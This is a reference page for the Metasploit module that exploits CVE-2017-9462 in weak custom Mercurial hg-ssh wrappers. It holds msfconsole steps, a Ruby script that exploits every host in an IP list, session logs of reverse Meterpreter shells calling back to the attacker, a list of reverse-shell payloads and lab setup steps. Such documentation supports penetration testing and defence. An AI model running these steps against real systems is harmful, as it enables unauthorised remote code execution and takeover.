Mercurial Custom hg-ssh Wrapper Remote Code Exec - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/mercurial_ssh_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mercurial Custom hg-ssh Wrapper Remote Code Exec
Module: exploit/linux/ssh/mercurial_ssh_exec
Source code: modules/exploits/linux/ssh/mercurial_ssh_exec.rb
Disclosure date: 2017-04-18
Last modification time: 2022-04-18 20:05:46 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2017-9462
This module takes advantage of custom hg-ssh wrapper implementations that don't adequately validate parameters passed to the hg binary, allowing users to trigger a Python Debugger session, which allows arbitrary Python code execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
Using mercurial_ssh_exec against a single host
Normally, you can use exploit/linux/ssh/mercurial_ssh_exec this way:
msf > use exploit/linux/ssh/mercurial_ssh_exec
msf exploit(mercurial_ssh_exec) > show targets
... a list of targets ...
msf exploit(mercurial_ssh_exec) > set TARGET target-id
msf exploit(mercurial_ssh_exec) > show options
... show and set options ...
msf exploit(mercurial_ssh_exec) > exploit
Using mercurial_ssh_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your mercurial_ssh_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/mercurial_ssh_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module was successfully tested against:
- Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)
Vulnerable Server Setup Steps
- Install mercurial on your test server
- Patch the hg-ssh Python script script to emulate custom/weak repo validation in hg-ssh wrapper
vi $(which hg-ssh)
- Replace
if repo in allowed paths:
withif True:
- Replace
cmd = ['-R', repo, 'serve', 'stdio']
withcmd = ['-R', path, 'serve', 'stdio']
- Replace
- Setup a user with SSH pubkey auth
- Create a test repo in the users home directory and add a commit
mkdir -p repos/repo1
cd repos/repo1
echo "hello world" > README
hg add README
hg commit -m "Adds README"
- Restrict user in authorized_keys to hg-ssh binary only
command="hg-ssh ~/repos/repo1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding INSERT_SSH_PUB_KEY
- Verify SSH user can authenticate (should prompt and prevent a shell)
- Verify SSH user commands are not allows (should prevent arbitrary commands)
ssh [email protected] ifconfig
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/ssh/mercurial_ssh_exec
- Do:
set RHOST <ip>
- Do:
set LHOST <ip>
- Do:
set SSH_PRIV_KEY_FILE /Users/jsmith/.ssh/id_rsa
- Do:
exploit
- You should get a shell.
Scenarios
Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)
msf exploit(mercurial_ssh_exec) > exploit
[*] Started reverse TCP handler on 192.168.10.37:4444
[*] 192.168.10.99:22 - 192.168.10.99:22 - Attempting to login...
[+] 192.168.10.99:22 - SSH connection is established.
[+] 192.168.10.99:22 - Triggered Debugger (entering debugger - type c to continue starting hg or h for help)
[*] Sending stage (39842 bytes) to 192.168.10.99
[*] Meterpreter session 1 opened (192.168.10.37:4444 -> 192.168.10.99:57606) at 2017-04-18 19:16:44 -0400
Go back to menu.
Msfconsole Usage
Here is how the linux/ssh/mercurial_ssh_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/mercurial_ssh_exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/ssh/mercurial_ssh_exec) > show info
Name: Mercurial Custom hg-ssh Wrapper Remote Code Exec
Module: exploit/linux/ssh/mercurial_ssh_exec
Platform: Python
Arch: python
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-04-18
Provided by:
claudijd
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
SSH_PRIV_KEY_FILE yes The path to private key for ssh auth
USERNAME root yes The username for authentication
Payload information:
Description:
This module takes advantage of custom hg-ssh wrapper implementations
that don't adequately validate parameters passed to the hg binary,
allowing users to trigger a Python Debugger session, which allows
arbitrary Python code execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-9462
https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29
Module Options
This is a complete list of options available in the linux/ssh/mercurial_ssh_exec exploit:
msf6 exploit(linux/ssh/mercurial_ssh_exec) > show options
Module options (exploit/linux/ssh/mercurial_ssh_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
SSH_PRIV_KEY_FILE yes The path to private key for ssh auth
USERNAME root yes The username for authentication
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/mercurial_ssh_exec exploit:
msf6 exploit(linux/ssh/mercurial_ssh_exec) > show advanced
Module advanced options (exploit/linux/ssh/mercurial_ssh_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/mercurial_ssh_exec module can exploit:
msf6 exploit(linux/ssh/mercurial_ssh_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/mercurial_ssh_exec exploit:
msf6 exploit(linux/ssh/mercurial_ssh_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/mercurial_ssh_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/mercurial_ssh_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:
94: ssh = Net::SSH.start(rhost, username, ssh_options)
95: end
96: rescue Rex::ConnectionError
97: return
98: rescue Net::SSH::Disconnect, ::EOFError
99: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
100: return
101: rescue ::Timeout::Error
102: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103: return
104: rescue Net::SSH::AuthenticationFailed
<RHOST>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:
97: return
98: rescue Net::SSH::Disconnect, ::EOFError
99: print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
100: return
101: rescue ::Timeout::Error
102: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103: return
104: rescue Net::SSH::AuthenticationFailed
105: print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
106: rescue Net::SSH::Exception => e
107: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
<RHOST>:<RPORT> SSH - Failed authentication due wrong credentials.
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication due wrong credentials." error message:
100: return
101: rescue ::Timeout::Error
102: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103: return
104: rescue Net::SSH::AuthenticationFailed
105: print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
106: rescue Net::SSH::Exception => e
107: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
108: return
109: end
110:
<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
102: print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
103: return
104: rescue Net::SSH::AuthenticationFailed
105: print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
106: rescue Net::SSH::Exception => e
107: print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
108: return
109: end
110:
111: if ssh
112: print_good("SSH connection is established.")
Unable to trigger debugger (<DATA>)
Here is a relevant code snippet related to the "Unable to trigger debugger (<DATA>)" error message:
115: ch.on_extended_data do |ch, type, data|
116: if data.match(/entering debugger/)
117: print_good("Triggered Debugger (#{data})")
118: ch.send_data "#{payload.encoded}\n"
119: else
120: print_error("Unable to trigger debugger (#{data})")
121: end
122: end
123: end
124: end
125:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #10505 Merged Pull Request: Add post authentication information in modules
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8263 Merged Pull Request: Add mercurial ssh exec
References
See Also
Check also the following modules related to this module:
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/apple_ios/ssh/cydia_default_ssh
- exploit/multi/ssh/sshexec
- exploit/solaris/ssh/pam_username_bof
- exploit/unix/ssh/arista_tacplus_shell
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/unix/ssh/tectia_passwd_changereq
- exploit/windows/ssh/freeftpd_key_exchange
- exploit/windows/ssh/freesshd_authbypass
- exploit/windows/ssh/freesshd_key_exchange
- exploit/windows/ssh/putty_msg_debug
- exploit/windows/ssh/securecrt_ssh1
- exploit/windows/ssh/sysax_ssh_username
- exploit/linux/http/sourcegraph_gitserver_sshcmd
Related Nessus plugins:
- openSUSE Security Update : mercurial (openSUSE-2017-689)
- Fedora 25 : mercurial (2017-62aacc1474)
- Fedora 24 : mercurial (2017-b154ff2892)
- Oracle Linux 6 / 7 : mercurial (ELSA-2017-1576)
- RHEL 6 / 7 : mercurial (RHSA-2017:1576)
- Scientific Linux Security Update : mercurial on SL6.x, SL7.x i386/x86_64 (20170627)
- CentOS 6 / 7 : mercurial (CESA-2017:1576)
- Debian DLA-1005-1 : mercurial security update
- Amazon Linux AMI : mercurial (ALAS-2017-856)
- Virtuozzo 6 : emacs-mercurial / emacs-mercurial-el / mercurial / etc (VZLSA-2017-1576)
Authors
- claudijd
Version
This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.
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